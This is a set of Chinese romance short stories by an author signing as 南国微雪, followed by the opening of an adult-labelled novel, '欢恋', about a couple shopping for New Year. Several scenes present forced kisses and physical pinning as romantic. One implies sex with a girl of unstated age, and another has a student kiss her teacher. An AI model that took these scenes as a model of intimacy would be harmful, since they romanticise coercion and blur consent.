　　“乖啊，左眼闭一下。”说话很轻。

　　她温顺地听从了。

　　他稍微站远一点看到她的妆容慢慢漂亮起来，满意地笑笑，随即又拉近距离工作。

　　视焦点仍不在她身上。

　　她这一瞬忽然感觉有一种前所未有的平静。看着镜子里慢慢变得漂亮的自己，她第一次不那么讨厌，这幅漂亮所带来的面具感和虚无感。

　　或许，我也该认真对待这份工作了呢……


　　“加油吧。”他把化妆用品仔细地收好，此时她还在化妆椅上。

　　他忽然不正常地拉近距离，凑到她的耳朵旁：“加油，今天认真完成工作的话，我给你一点点奖励，怎么样？嗯？”声音很妖媚，很撩人。

　　他最后“嗯”的气息全钻进她敏感的耳朵里。

　　她的心脏狂跳起来。

　　说对他没感觉那是骗人的。


　　“来，这是给你的奖励。”他对着她笑了笑。面前是她一直想吃的巧克力。因为这种很难买，又贵，所以她只能眼馋。

　　她有些感动。

　　“今天不是你生日吗？”

　　“是吗？”他有些疑惑。

　　这人……某人扶额无语。

　　“我想了很久要送你什么礼物，本来已经决定好了，但是临时又改变主意了。”

　　“所以说，是什么呢？”

　　……


　　“嗯，是明天的订单吗？不好意思，我们这里的模特突然有点事情，可能完成不了了。下次再谈吧。嗯，好，那就这样。”

　　经纪人听着化妆间里越来越激烈的声音，挂断了电话。



　　南国微雪

　　2020 年 6 月 5 日

想象力训练 - 满足

　　一个边陲小镇。

　　一袭中裙，在河边捕鱼。有时光着小脚丫，直接走进泥泞里，眼疾手快地捉住正要钻进泥里去的生活来源。

　　“你一直都在这里捕鱼吗？”他插着兜在一旁看了许久，突然这么问到。

　　“嗯！”她愣了愣，一笑，“因为这是我们家的经济来源，并且，我很喜欢捕鱼。”这样说着，她手一挥，撒下一张网，渔网绳线随着她的动作迅速又大面积地伸展开来，像是她有魔法一般，手一挥就能用绳子将远处的东西捉住。

　　“真是厉害啊。”他有些看呆了，止不住地赞叹。

　　“是吗？”她只是这样说着，眼神始终在她刚刚收起的渔网上面。十分专注。

　　她的侧脸上，刘海发尾稀稀疏疏地黏在额头上，脸蛋上有一点点泥。但并不影响这副美丽的山水画。但是粼粼的波光似乎又在时刻提醒着他，这是现实。

　　夕阳，正在慢慢地滑下山尖。

　　“我也来吧。”

　　“诶？不行，你会弄脏的！”她连忙阻止，“你的衣服看起来就很贵。

　　“没事没事。”他只脱下了鞋子，变成光脚丫，毫不在意西装裤，一脚踩进泥泞里，然后弯着腰看向她。

　　水慢慢顺着领带下摆洇上来 。

　　他的眼里是真诚。她愣了愣。

　　“首先，把手伸进泥里……”她开始耐心地教这个城市人。她不知道为什么。

　　“哦哦……然后呢？”他开始照着她的动作学，动作滑稽，颇有东施效颦的感觉。他也不知道为什么自己要来捉这些东西。但是手上滑溜溜的，他感受到了最为自然和原始的快乐。

　　“哎呀……错了错了……”

　　“别让它跑了啊！快快快！”

　　“啊！我把它捏死了……”

　　“它在你脚下！……哎呀，那里那里！啊……跑掉了……”

　　“嘿！我捉到了！”

　　“收网要这样收，不然鱼会跑掉……”

　　“等等！漏了好多鱼啊……啊……”

　　两人大汗淋漓地躺在河附近的石头上，头上是洒满了星星的夜空。

　　“你还不回去吗？”她提起装有今天晚餐鱼的桶，问。

　　“正准备，”他答，“你在哪个方向？一起？”

　　两人走在回去的路上。带着些微的渔民的痕迹。

　　“谢谢你。今天很开心。”他说。

　　“嗯。没关系。我也很开心。”少女朝着他粲然一笑，路灯淡淡的灯光打在她的脸上，不远处是几点农村人家红灯笼的灯光。

　　隐约能听到蝉鸣。身边还有些明明灭灭的，小小的萤火虫的绿色光点。

　　下一刻。两人闭着眼。脸颊无限贴近。手，放在对方的脊背上。

　　谁都没有问名字。一种无言的默契。

　　后来，公司的人们百思不得其解，为什么一个事业蒸蒸日上的的公司 CEO 会突然卸任，然后不知所踪。连秘书也不知道。

　　没人知道 CEO 出去顺心那天发生了什么。

　　不，或许，路灯知道，鱼知道，萤火虫知道。

　　或许，他们的孩子后来也会知道。



　　南国微雪

　　2020 年 6 月 4 日

想象力训练 - 欺负人

　　跑步竟然把脚崴了，她觉得自己已经蠢到家了。

　　“喂，快过来背我。”她只朝着电话说了一句，通话时间 2 秒钟。

　　他：……

　　这小妮子……这是干嘛呢？

　　他穿衣服下楼。这时间，不用想也知道她在哪里。为了保持身材还真是辛苦啊。

　　“好慢啊……”

　　“少啰嗦，坐下来我看看。”

　　“我没跟你说我怎么了吧？”

　　“废话，都要我背了，快撩起来我看看严不严重。”

　　她老老实实地撩起来。

　　”还好，我带你去弄点外用药，过两天应该就差不多了。“

　　她伏在他的背上，感觉有那么一点安心。

　　”你好重啊。“他吐槽。

　　”不许说我重！“她白了他一眼，虽说他看不见。

　　我练出来的这身材不都便宜了你了吗！还说我重。她心里吐槽。

　　”不过，他还是有点用处的嘛，嘿嘿。“她想着。

　　”嗯？你说什么？“

　　”嗯？啊……没什么……“

　　她不小心说出来了，然后一直在心里骂自己蠢。而他觉得自己被糊弄了。

　　”你干嘛把我放下来？“

　　去医院的小路上弯弯绕绕的，不远处是大路。正值清晨，路上人渐渐多起来，熙熙攘攘的。太阳从山里探出头来，挥下暖意。

　　”快说。“某人柳眉一横。

　　”不说。“她也犟。

　　”真不说？“他压低声音。

　　她有点慌。他压低声音一般都没什么好事。

　　”不说。“她还是有骨气。

　　他无所谓地一笑，唇角带点不怀好意的邪魅。

　　然后下一秒，他突然把她推到附近的墙上，左手包住她的后脑勺，按在墙上强硬地吻了上去。直到她招架不住缺氧发晕，面色潮红才放开她。

　　这人！怎么这么任性啊！不听话就要被强吻吗？

　　那么用力，躲又躲不掉……

　　”还是不说？嗯？“他的额头紧贴着她的，就这样直视着她的眼睛。

　　两人的鼻翼也快要贴到一起，而他的嘴唇就在离她嘴唇不到一根手指的距离。

　　这是威胁。

　　脚崴了，左侧又被他撑在墙上的右手封死，只能被他乖乖地圈在怀里。

　　”我说还不行吗……“


　　”都怪你，本来崴得没那么严重的。“她抱着药。

　　”抱歉，待会儿会给你做好吃的。“他挠了挠头。

　　”笨蛋……“



　　南国微雪

　　2020 年 6 月 3 日

想象力训练 - 昂贵的教师

　　“喂，课代表，你作业交了吗？”

　　“交了！”课代表边回复一边拿出下一节课要用的物品，但是不小心带出了什么东西。她看到之后心里一惊。

　　完了。她想。

　　“作文改完了。”班主任在他的课上说了这么一句话，然后看向她，“你，跟我去一趟办公室。其他人，自习。”

　　同学们骚动起来。

　　走在路上，她看着自己的脚。旁边是走廊的栏杆，栏杆下面已经有了些许的水渍。雨，下得很大。

　　他坐在自己的办公椅上。办公室里只有他们两人。

　　”怎么交错本子了？“

　　”我……不小心……“她有些哽咽，她知道接下来可能不太好过了。

　　一滴雨珠，打在窗沿上，碎成千万片小光芒，落在他办公桌上的她的本子上。

　　“你自己看看。”他的声音依旧很冷淡。

　　她依旧盯着自己的脚，接过她不小心交上去的小说本。那是她的幻想世界，一片瑰丽，充满着少女的幻想，但是毁在了今天。

　　她的手有些颤抖。

　　翻开第一页，没有任何标记。

　　翻开第二页，没有任何标记。

　　第三页，有批注。

　　第四页，第五页，第六页……越到后面越多，她定睛一看，批注的全是该怎么写能更加打动人心，没有一句责怪她写青春言情小说的话语。

　　她抬头，撞上他温柔的笑。眼镜框泛起一丝丝淡淡的光。

　　她忽然想起，自己妈妈在暑假请的家教，似乎也有这种温和。长相……因为他一直戴着口罩所以不知道。她当时觉得很那个家教诡异，但后来透过声音慢慢才知道他是一个温柔的人。

　　跟眼前的班主任有些像。

　　“您暑假做过家教吗？”

　　“做过哦，”他温和地笑了笑，“辅导的就是你呢。”

　　“那为什么一直……”

　　“脸上肿了一大块，很难看，就戴着了。”

　　“哦……”

　　“还有什么问题吗？没有的话，你就先回去吧。我要办公了，记得叫同学们安静点啊。“他疲惫地转过身，椅背背对着她。

　　”嗯……“

　　她涌起决意，走到他椅背后面，双手环住他的脖子，轻轻在他耳边说了声：“谢谢”。

　　还吻了一下他的右脸颊，然后飞快地逃开了。


　　他摸着自己的右脸颊，摇着头笑了笑：“这孩子……”。然后看向窗外。

　　这时，一滴雨珠打在窗沿上，碎成万千片光芒。打在今天的日历上：2759 年 6 月 1 日.

　　一个保留了教师制度的高科技年代。

　　一个全国前 3% 的人才能申请做教师的年代。



　　南国微雪

　　2020 年 6 月 1 日

想象力训练 - 少女的夏天

　　“好热啊，你还没修好吗？”她趴在我身边抱怨道。

　　“哪有那么快，你就再忍忍吧。”

　　“你不是靠这个吃饭的吗……”

　　我竟一时语塞。

　　“冰淇凌都化掉了啦……”

　　“那还真是抱歉啊。话说你为什么想起来搬进公寓一个人住呢？像你这样的年纪，不是和父母一起住更开心吗？饭也不用自己做什么的……”

　　“欸嘿嘿……”这名少女发出了意义不明的笑。

　　搞不懂。

　　”想听吗？“

　　”单纯好奇罢了，你想讲就讲吧。不讲也行。“

　　”我和父母之间很爱吵架，大概就是这样。“

　　“没了？”我有些错愕，修风扇的手也因此停了下来。

　　正值夏季，外面聒噪的蝉鸣声一阵浪过一阵，地面上被树叶剪得斑驳的光斑也是黄得耀眼。

　　“其实还有一个……”

　　“不想说吗？”

　　“你靠过来，我给你说。”

　　什么呀，搞得这么神秘，我把耳朵凑过去。

　　”那就是你呀！“我听到这句话之后身体一震，不是因为震惊。

　　”喂！你干什么呀！“我有些气恼，同时把她手里的冰淇凌蘸起来一点点，朝她脸上摸去。

　　耳朵里好冰，然而我没有反击成功。她躲开了，但我身体失衡压在了她身上。

　　第一次以这种视角看着她，我大脑宕机了。

　　“可以哦？”她拿起我蘸冰淇凌的那只手，将我手指上的冰淇凌涂在她自己的脸上，嫣然一笑，又带着我的手往下挪。

　　我的理性顿时湮灭破散。


　　看来，这个夏天，会更热啊。



　　南国微雪

　　2020 年 5 月 31 日

想象力训练 - 遗留

　　“你不记得我了吗？”一位女士收了伞，说了句话。

　　在付款的我一愣：“你是在跟我说话吗？”然后看向她。

　　“在这里的还有谁呢？”

　　“抱歉，女士，我不认识你。”

　　“还记得这个吗？”那位女士亮了亮他她手中的令牌，上面有一些斑驳的刻痕。

　　我一愣，心里飞速转了起来。

　　“看起来你好像是有印象呢。”她甩了甩有些湿的发尾，然后散开，一边笑着一边朝着我走过来。

　　我有些害怕。

　　“是你救的人太多了吗？嗯？不记得我这个小女生了？”她在我耳旁轻轻说着，妖媚的气息顺着耳朵和脖颈往下走，在胸膛处消散尽。

　　她正在摸的右肩很疼，风湿，也有在战场上留下的伤的原因。

　　这人，在确认。

　　“是你呢。”她用手确认完之后露出了一种安心的笑，也伴着一种决意。

　　“抱歉，我没有印象。”

　　“退役后就吃这种东西吗？”

　　“抱歉，女士，我……”

　　“不要再装了，我很确认就是你，那个废墟下面抱着我躲过塌方导致右肩受伤的人。”

　　一步步被后逼。便利店外面是下的正大的雨。行人稀少，只隐隐约约见得几只冒雨飞行的小鸟。

　　“我放弃了，你想怎么样？”

　　我直视着她，左边眉毛下面的伤疤我都能感觉到正在跳动。


　　我大脑一片空白，雨水打在脸上，后背生疼。眼前是她的脸。

　　“那时候也是这个姿势吧？”她唇角一勾，“立场换了，感觉怎么样？”

　　“感觉还不错。”

　　两人继续在淌满雨水的地上吻了起来。



　　南国微雪

　　2020 年 5 月 30 日

欢恋

写在前面

　　此小说为18禁小说，未满18岁请勿观看。纯爱向，甜度不高。转载随意，但仅供学习交流之用，请勿做商用，毕竟是我辛辛苦苦码出来的。前期约9000字为人物塑造和慢热剧情，无18禁情节。总字数14218字。最后，祝您身体健康。

　　频道：http://t.me/TinySnow4Yi

　　频道主&作者：南国微雪(@TinySnow)

正文

　　今天是临近除夕的前几天。到处张灯结彩，熙熙攘攘，大块大块的红色包裹了这座小城，云彩悠闲地在天空上面飘着，完全不去理睬地面上那些叫卖声与砍价声。

　　“你今天怎么想起来找我了？”陆羽宁侧着头看向他身边的人儿。她今天只是简单地穿了一件朴素的外套，淡绿色的，没有之前与他约会时那样盛装打扮了，但是也别有一番韵味。像是一口清淡的汤一样。看起来毫不起眼，但是味道却也还不错。

　　这时候陆羽宁看了看自己的打扮，好像也没什么资格去说她呢……

　　“怎么，不行？”杨雪韵没有去看他，只是好奇又矜持地看着眼前这热闹的一切。

　　为了今天，她可是早早地就起床了，而当时陆羽宁还在睡大头觉呢……隔着电话她都能听到他的抱怨声……以及他老老实实穿衣服下床的声音。不过现在来到这里她反倒是手足无措了。

　　“没有没有，我哪儿敢啊，我的公主殿下。”陆羽宁笑了笑。

　　杨雪韵瞥了他一眼。

　　“话说，你家里就没有要买的年货吗？”杨雪韵把话题拐了回来。

　　“我想想啊……其实年货这种东西的话，一般我家里都轮不到我来插手呢……”他讪讪地笑笑。

　　“这样啊……那你今天就负责陪我吧。”杨雪韵毫不留情地下了命令。脸上没有一丝怜悯。就这样看着他。

　　这个小妮子……陆羽宁在心里暗自吐槽。

　　“怎么这样啊……我还要玩游戏啊……我这是什么苦命啊，天哪！”陆哭丧着脸。

　　“你再装，你再装，我还不知道你玩不玩游戏吗？”杨雪韵都被逗笑了，“找个借口也要找个像样的啊，真的是。”然后她绕到他身后，双手撑着他的背，把他推着往前走。“快点啦，要不年货被抢光了，你赔我？”

　　“说起来，你要买点什么啊？”两人一同走在路上，这个时候陆羽宁才想起这个问题。

　　“其实……我也不知道……”杨雪韵看起来没有一丝的愧疚感。

　　陆羽宁这时候只想给她翻个白眼。

　　“硬要说的话，其实就只是想过来感受一下氛围吧，毕竟已经有很久没有买年货了。”她停下了脚步。

　　陆羽宁注意到了，也随之停下了。

　　“就算买年货的话，也已经是很久之前的事了，但是，今年不一样呢……”这个时候，杨雪韵直视着他的眼睛，“所以就想着，今年……会不会有什么不一样的感觉呢？之类的……”说完嫣然一笑。

　　他们之间的时间仿佛停滞了一秒钟，然后背后的吆喝声仿佛却越来越响了。

　　“你能不能不要在这个时候开始撩人啊，我受不了……”饶是陆羽宁，也开始不好意思起来。

　　“诶，我有撩人吗？”杨雪韵开始装傻。

　　“好哇你，敢做不敢当是不是，看我怎么收拾你！”陆羽宁佯怒，作势要打她。但是脸上那个笑已经完完全全出卖了他。

　　但是杨雪韵丝毫不为所动，仿佛已经知道了接下来的结果。

　　看她这样，陆羽宁叹了口气，无奈了，把手放下来，握住雪韵的手，十指相扣。然后就这样牵着手继续往前走。

　　“那我们就这样闲逛一整天吗？”他一边慢慢走，一边缓缓开口。

　　“我也不知道啊，不过，我觉得这样就已经很幸福了。”杨雪韵脸不红心不跳地说出了这句话。

　　等会儿，恋爱中不是男生的嘴要甜一点吗，为什么到他们身上的时候就完全相反呢？稍微不注意，这个女孩子就能抛出一句杀伤力巨大的话。能把他杀得面红耳赤，耳根发热。啊，她肯定就是想看我这种表情！陆羽宁一边乱乱地想着，忽然听到了她接下来的一句话。

　　“要不，你出个主意？”

　　“嗯……我想想……”陆羽宁停下脚步，开始认真地思考这个问题。

　　“啊，要不，咱们去买衣服吧！”他打了个响指，然后兴奋地对她说。不过这个时候他才注意到，好像他刚才那个响指把他的女孩儿吓了一跳。

　　“没事儿吧？吓到你了？”他稍微弯了弯腰，前倾着身体担心地看着她。

　　“没事没事。杨雪韵摆了摆手，但是动作看起来不太自然。

　　废话，因为看他思考看入迷了而被吓到，这种话怎么可能说得出口嘛！真是的！

　　不过，他认真的样子还挺帅的……之前没怎么仔细看呢。杨雪韵暗自想道。然后一转话题：“为什么你想着要去买衣服呢？”

　　说实话她很好奇。常理来说，新年添置新衣没有什么好奇怪的，不过她就是想听听他的理由。杨雪韵开始搞不懂自己了。

　　“其实我只是想看见你穿上新衣服漂漂亮亮的样子啊。嘿嘿~”说完陆羽宁不好意思地挠了挠头。

　　“……”杨雪韵一瞬间找不到话说。

　　相比自己喜欢口头撩他，他更喜欢用实际行动撩自己啊……

　　“不愿意？”

　　“不不不，只是不知道说什么……我们现在就去吗？”

　　“反正也没什么事做，现在就去吧。”

　　“先生小姐二位好，请问是想给谁买衣服呢？”

　　“给这位小姐。”陆羽宁朝售货员笑了笑。售货员小姐顿时心领神会。

　　“那好，请往这边走。”

　　在往女装区的路上，陆羽宁问了问她喜欢什么样的衣服。但是却得到了一个很让人意外的结果。这个傻孩子对于哈伦裤啊，拼接裙啊，露背装啊什么的完全不清楚。

　　“那你为什么平时打扮得那么漂亮啊……”陆羽宁禁不住扶额。

　　“这个嘛……因为我平时是看哪件衣服好看就买哪件，根本就不怎么关心这些……”杨雪韵尴尬地笑笑。

　　“这么一想，倒也没错，可能是我太直男了吧。”陆羽宁也笑了笑。

　　“不过啊，我倒是蛮想要一件那种装饰稍微多一点的连衣裙的来着，就是蝴蝶结，花纹那样的东西多一点，感觉那样的衣服穿起来很有公主的感觉。”杨雪韵说这句话的时候两眼放光。就像小动物一样。

　　“这样啊，那，要试试吗？”陆羽宁看着她。

　　“但是那种衣服很贵的，我记得。”杨雪韵有些忐忑。

　　“没关系的，过年嘛。”陆羽宁开始了。

　　两人站在女装区里，面对面地纠结，感觉很搞笑。不过这个时候都因为过年，也没什么人关注他们。

　　不等她纠结完，他就跑去找导购员了。杨雪韵真是气不打一处来，这不是让她没得选嘛？不过也没有办法。来都来了。很快，他的男朋友就和导购员一起回来了，然后又稍微走了几步到了那种礼服一样的盛装区，里面有洛丽塔的衣服。那个区里，走进去就有一种奢侈和豪华的感觉，让杨雪韵心里有点有点害怕，畏畏缩缩地跟在陆羽宁后面。

　　“我们……还是走吧？这里看起来好贵……”杨雪韵扯了扯陆羽宁的衣服，小声地对她说。

　　陆羽宁真是又好气又好笑。

　　“不用担心啦，走吧，我们试穿一下，行吧？不买。我不是说了吗，想看你穿得漂漂亮亮的。”陆开始安抚她。

　　“只是试穿啊，那还好。”其实杨雪韵心里也还是蛮期待的，就是怕太贵。听到这句话之后安心下来。

　　陆羽宁哪能看不出她心里的这点小九九？

　　到了洛丽塔区之后，陆羽宁委婉地把导购员给轰走了，言辞漏洞百出，听得杨雪韵在一旁差点笑出声来。

　　“你呀，骗人的技术还得再练练啊。”杨雪韵笑着调侃。

　　“行了行了，别说这些了，”陆羽宁柳眉一横，随即又柔和下来，“快选吧，我已经等不及了。”

　　一个男孩子买衣服竟然比一个女孩子还兴奋。杨雪韵心里忍不住吐槽。

　　然后，杨雪韵被迫一次又一次被他推进试衣间，试穿了各种各样的衣服。女王的、妩媚的、清纯的、妖娆的、性感的、天真美丽的……来来回回试穿了大概20多套衣服，最终才敲定下来。

　　“这套很好看啊，很适合你。”陆羽宁不住地赞叹道，仿佛看到了这个世界上最漂亮的人。

　　“好了没有……累死了……”杨雪韵抱怨道。说是这么说，其实她内心还是挺开心的。

　　以前试衣服都是父亲或者母亲在一旁看，这次是男朋友，果然心境大不一样啊……可惜代价大了一点……累死了……

　　“好了好了，辛苦你了，我的小美女。”陆羽宁笑着刮了刮她的鼻子。

　　杨雪韵累得已经懒得理他这种动作了。休息一会儿之后，这个女孩子竟然对着镜子欣赏起来。身子左侧一下，右侧一下，然后转一个圈，看起来很是开心。

　　陆羽宁在一旁看着这一切，嘴角忍不住上翘起来，想压都压不下去。

　　因为这个时候杨雪韵真的很像一个公主。

　　一个清纯可爱的，专属于他的公主。

　　“那现在我们走吧。”陆羽宁拉着她的手就要往外走。

　　杨雪韵一愣。

　　“不是试穿吗？我还没脱呢！”她还在傻傻地说着这种话，但是好像随即意识到了什么。

　　“好啊你，陆羽宁，现在敢骗我了？”杨雪韵有些气恼。气恼的背后是心疼，心疼她自己的钱包。

　　“之后要我做什么都行，现在走吧，把账结了。”陆羽宁这个时候只好赔笑。

　　“真的？”杨雪韵瞟了他一眼，然后唇角很不友善地勾了起来。一看就不是在打什么好主意。

　　“真的。”陆羽宁看着她的笑，心里有点毛毛的，但是还是硬着头皮答应了下来，毕竟是自己说过的话。同时心里在默默祈祷她的要求不要太过分。

　　果然，我什么都会做的，这种话不能乱说啊……

　　然后杨雪韵老老实实地穿着这套衣服出去了，然后，到了收银台，发现她的男朋友已经把账结完了，收银台那里只给了她一张发票。

　　“你什么时候结的账？”杨雪韵惊讶之中，有好奇，不过更多的是心疼，毕竟那张发票上面写着：￥1499。

　　“嗯……就在你对着镜子孤芳自赏的时候？”陆羽宁坏坏地笑笑，这个措辞明显就是在调侃她。

　　“你讨厌！”杨雪韵脸红了。

　　“啊，天气真好啊，真是开心。”陆羽宁走出服装店，装模做样地朝着蓝蓝的天，大大地伸了一个懒腰。

　　在一旁的杨雪韵看来，这动作越看越像挑衅。

　　“你不会觉得，这样，你就想走了吧？”杨雪韵在一旁冷冷地看着他。

　　完蛋了。

　　这是，要让我回应那个“什么都会做”的要求了？

　　陆羽宁静静地等待审判来临。

　　但是杨雪韵一声不吭，又重新把他拉回了服装店里，然后，也让他体验了一把什么叫做衣架。而男孩子又不像女孩子，有连衣裙那样上装下装连在一起的款式，所以杨雪韵足足让他试了有30多件衣服，10多条裤子，把他累得不惨。换衣服倒还好，裤子换一条是真的麻烦。而且他抱怨都还不能抱怨。只能屈服于她的眼神之下，老老实实地试了一件又一件。

　　这是报复吗？陆羽宁苦笑。

　　他的衣服最后的帐是她结的。

　　两个人，都买了衣服，却是为对方结账，感觉总有点怪怪的。

　　不过因为是两个笨蛋，所以无所谓吧。

　　衣服买完之后，已经是中午12点了。然后两人去就近的一家餐馆吃了饭，就跑去游乐场玩了。这还是陆羽宁的鬼点子，不过两人都还是蛮开心的就是了。

　　“喂喂喂，真的假的啊，那个陆羽宁诶，竟然恐高啊！”从游乐场出来，杨雪韵就为她新找到的这个弱点激动不已。

　　“能别说了吗……”陆羽宁有点无语。他没有从过山车的眩晕下恢复过来，不过已经好得多了。

　　“抱歉抱歉，不过真的，那个天不怕地不怕的陆羽宁，竟然怕高啊！真是太有意思了。”杨雪韵说着抱歉，但脸上依然在狂笑。压根儿就不怕她男朋友报复一般。

　　陆羽宁不开心了，瞪了她一眼，然后径直朝外走去。速度极快。

　　“喂喂，等等我啊！”杨雪韵见状直接懵了，连走带跑地朝他男友那边追去。最后在一家小卖部的冰柜前终于是追到了他。

　　“喂，我……我说你……咳咳……不要……那么小气嘛……”她双手撑在膝盖上，弯下腰，有些喘不过来气，心里有些不满。

　　我这男朋友度量也太小了吧……

　　然后她看见他的鞋子转了过来——他转身了。然后她想说教说教他，顺便道个歉，把腰直了起来。

　　下一秒就看见陆羽宁把甜筒塞到她嘴里：“跑热了？我看甜筒还堵不堵得住你的嘴，嗯？”

　　看起来十分小孩子气。

　　但是十分温柔。包括那个甜筒。因为要吃的话，必须先要把包装纸撕掉才行……

　　自己怎么老是中计啊！可恶啊！！！这样想着，心里却泛起一阵甜蜜。这时候她把说教和道歉已经忘到九霄云外去了。

　　“哎呀哎呀，小两口还真是恩爱啊……”店主见证了这一切，笑着说。

　　“诶？”

　　“诶？”

　　他们两人都傻了。

　　“诶？”

　　店主也傻了。

　　“不是吗？”店主试探性地问道。

　　“啊，啊……啊！！！不不不，我们不是那种关系！”陆羽宁慌忙解释道。脸上有点发烫。

　　“嗯哼？嘿嘿……”她重新审视了一下眼前她的这个男朋友，觉得他越来越可爱了啊，这个反应，让她特别想捉弄他。

　　“你在说什么呢真是的，现在还那么害羞明明都已经那样了……”杨雪韵一把把他的胳膊抱住，还不忘用力地把胸部往上蹭，最神奇的是，她这个时候还能悠然自得地吃甜筒。脸上也是丝毫不害臊的样子。

　　“我说你啊，别捏造……”话还没有说完，嘴就被杨雪韵的甜筒塞住了。

　　“还不想承认啊？把你这张嘴塞住！哼哼~”一旁的杨雪韵看起来心情很好的样子。

　　“哎哎，我就不打扰你们了，我闪了。眼睛要瞎了。”店主笑着走开了。

　　等等，在人家店主面前放闪把店主闪走了是不是搞错了什么？但是他没有闲暇时间想这些了，现在他的情况很危急啊，又是间接接吻，又是手臂上……那团柔软……

　　这个女人搞什么啊……

　　“喂，能把手移开吗，你这样，我很那个啊……”陆羽宁把甜筒拿下来，塞回她的嘴里。

　　“嗯？很哪个啊？我不明白啊。”这个女人把甜筒用另一只手拿了下来，又把胸部往上蹭了蹭，开始装傻。

　　“我说你啊，明白的吧……不要再捉弄我了……”陆羽宁彻底无奈了。

　　“好了好了，不捉弄你了，”杨雪韵终于笑笑，“等一下我去趟洗手间啊。”然后她松开了手，又把甜筒重新塞回她男朋友的嘴里，朝附近的一个公共洗手间里走去。

　　陆羽宁这下是彻底搞不懂这个女人了。把甜筒拿下来，盯着它，叹了口气，把它吃掉了。

　　此时已经是下午4点左右了。天空上仍是大团大团的云朵，不时把太阳遮住。蔚蓝的天空下面，是开始外出娱乐活动的人们。年货也差不多购置得差不多了，现在的人们串门的串门，拜年的拜年，遛狗的遛狗，打扫房间的打扫房间，看起来甚至比白天还要热闹一点。

　　陆羽宁买甜筒的那个小卖店临近广场，这个时候那个广场也逐渐热闹了起来。

　　杨雪韵从洗手间出来，看向那个小卖部的位置，那里没有他男朋友的身影。她开始有点慌了。

　　说好的陪我，这个时候又跑哪里去了？她有些急……于是开始四处寻找。边找边打电话。

　　等我找到他，一定要好好骂他一顿。杨雪韵这下是真的生气了。

　　丢下女朋友一个人忙得团团转算哪门子的男朋友？

　　电话不接。

　　已经是第3通电话了。

　　就在这时她发现了一个人群聚集的地方。那里人很多，甚至还有更多的人朝那里靠拢，导致那里形成一个大圆圈，都是人。像是他们学校的艺术节一样，表演的班级周围全是人。

　　她找了一个人少一点的缺口，注意着不让自己的裙子弄脏，挤进去看看情况。虽然她知道他的男朋友不爱看热闹，但这里的人这么多，说不定就找到了呢？

　　不过当杨雪韵看到中间的情况的时候，她整个人都呆住了。手里正在往外打第4通电话的手机，也只是被她握在手上，丝毫没有拿到耳朵旁去接听的意思。

　　陆羽宁这个时候感受到了震动，掏出手机一看，是她的电话，而且有未接来电的显示，一看，有3通。

　　完蛋了。他心里想。

　　自己太入迷了。

　　他握着手机，小心地环顾四周。看见了她，心里不知道怎么办。一阵慌乱之下，却是迅速拿定了主意。

　　杨雪韵看见处于人群中心的他露出了一副安心的表情，似乎还没看见她，她就更气恼了。准备上前去把他拽下来。但是当杨雪韵看到，他对面的人示意，音乐切换到他这边的时候，她又收回了刚迈出的右脚。

　　她虽然不懂舞蹈，更不懂街舞，但是她能从他的动作当中看出他的那股子完美劲，以及他在背后所付出的努力和汗水。她好像在哪篇文章里面看过，说街舞很难。

　　自己以前从来不知道。

　　这样想着，杨雪韵心里低落起来。

　　自己又了解他多少呢？好像并没有多少。相比之下，他倒是把自己了解得彻彻底底的。譬如自己爱吃什么菜，想吃什么水果，怕孤单，经常性的没有安全感这一切的一切。他知道了很多。

　　今天，又发现了他的一个优点呢，而自己又有哪些优点呢？细一想好像没有什么。

　　自己配得上他吗？她开始低着头想这个问题。

　　气恼过后是低落，现在又是潮水一样的自卑。

　　他像是一个太阳，一直在发出耀眼的光芒，而这样的人做了自己的男朋友，自己会不会掩盖他的光芒？或许，他值得更好的人去喜欢他。而不是像自己这样，没有什么优点，又爱耍小性子的人站在他的身边，成为他的女朋友。

　　杨雪韵现在心里乱糟糟的，心情很差。

　　忽然，她感觉到有一个坚强而有力的身躯抱住了她，随后，又听见有人在她耳旁低语：“抱歉，扔下你一个人。我们现在走吧。”语气里满是心疼和愧疚。

　　她看向了他。但是看见了他转身，朝那群像是曾经的他一样桀骜不驯的街舞少年做了一个手势。

　　那是什么手势？她不懂，或许是在道别吧。看起来很帅。然后她通过缝隙间模模糊糊地看见了，那群少年似乎回了同样的手势，脸上还带着隐约的笑意。

　　然后他转过身，牵着她的手，走开了。

　　走开的一瞬间，人群炸开了锅。

　　“哇，那个男的怎么回事啊……我要是有那样的男朋友该多好啊……”

　　“那个女生好漂亮啊……”

　　“对啊，那个男生也好帅啊。”

　　“该死的，那个男的跳舞怎么那么好……”

　　“这一对也太让人羡慕了吧……怎么回事啊……我也想找男朋友啊……这样又有长相，又有才华的。”

　　“你在做梦呢你，哈哈哈哈……”

　　……

　　……

　　但是杨雪韵不知道这一切。更不用提，她的男朋友是边跳舞边往她这边走，然后抱住她，惹得一众眼睛哭出柠檬水这件事了。她现在只是低落。无止境地低落。低着头，走在他的身旁。

　　“不要生气了好不好？我是不应该扔下你的……”陆羽宁对着她说，很温柔，又带有愧疚。

　　杨雪韵现在听他的这种语气，只想哭。

　　他真的太温柔了。

　　我竟然能找到这么一个温柔的男朋友。

　　“我开始很生气，现在没有了……”杨雪韵低着头小声地说。

　　“那为什么不开心呢？”陆看向她。

　　她似乎感应到了似的，也抬起头。看着他的眼睛。

　　两两对视。

　　陆脸上是一个很温柔的笑容，也不做催促，等着她开口。

　　杨雪韵终于是下定决心了，她觉得这种事情还是说出来会比较好，什么事情都闷在心里的话，会越来越损耗她自己的，两个人感情之间也会存在裂缝。

　　“待在你身边的……是我……这样真的好吗……你这么优秀，我怕……”杨雪韵畏畏缩缩地开了口。现在她很怕，真的很怕他的回答，虽然她知道回答可能是什么样的，但是还是怕。

　　陆羽宁叹了口气：“你啊你……”脸上尽是无奈，“跟我来。”他这样说着，然后牵着她的手一直走。

　　杨雪韵现在害怕的同时，又开始好奇起来。

　　他会带我去什么地方？

　　陆羽宁拉着她的手七拐八拐走进了一个小巷，那里没什么人。

　　杨雪韵心里似乎有了些不好的预感。但是她仍然不知道他要干什么。

　　然后她下一秒就知道了。

　　她的手腕被陆羽宁的两只大手紧紧握住，摁在墙上。接着，她的嘴唇就受到了猛烈的攻击。似乎唇瓣相接还不能满足他似的，陆羽宁的舌头还强行伸进来，想要撬开她的牙齿，进入她的口腔里面。

　　杨雪韵本来就对他没什么抵抗力，那能受得住他如此猛烈的攻击？身子一软，牙齿就松开了。

　　陆羽宁得逞了。

　　这场强吻持续了2分多钟，一直吻到杨雪韵喘不过气，陆羽宁才松开嘴。分开时杨雪韵已然是面色潮红，秋波婉转了，胸部随着她剧烈的呼吸起起伏伏，看起来甚是诱人。

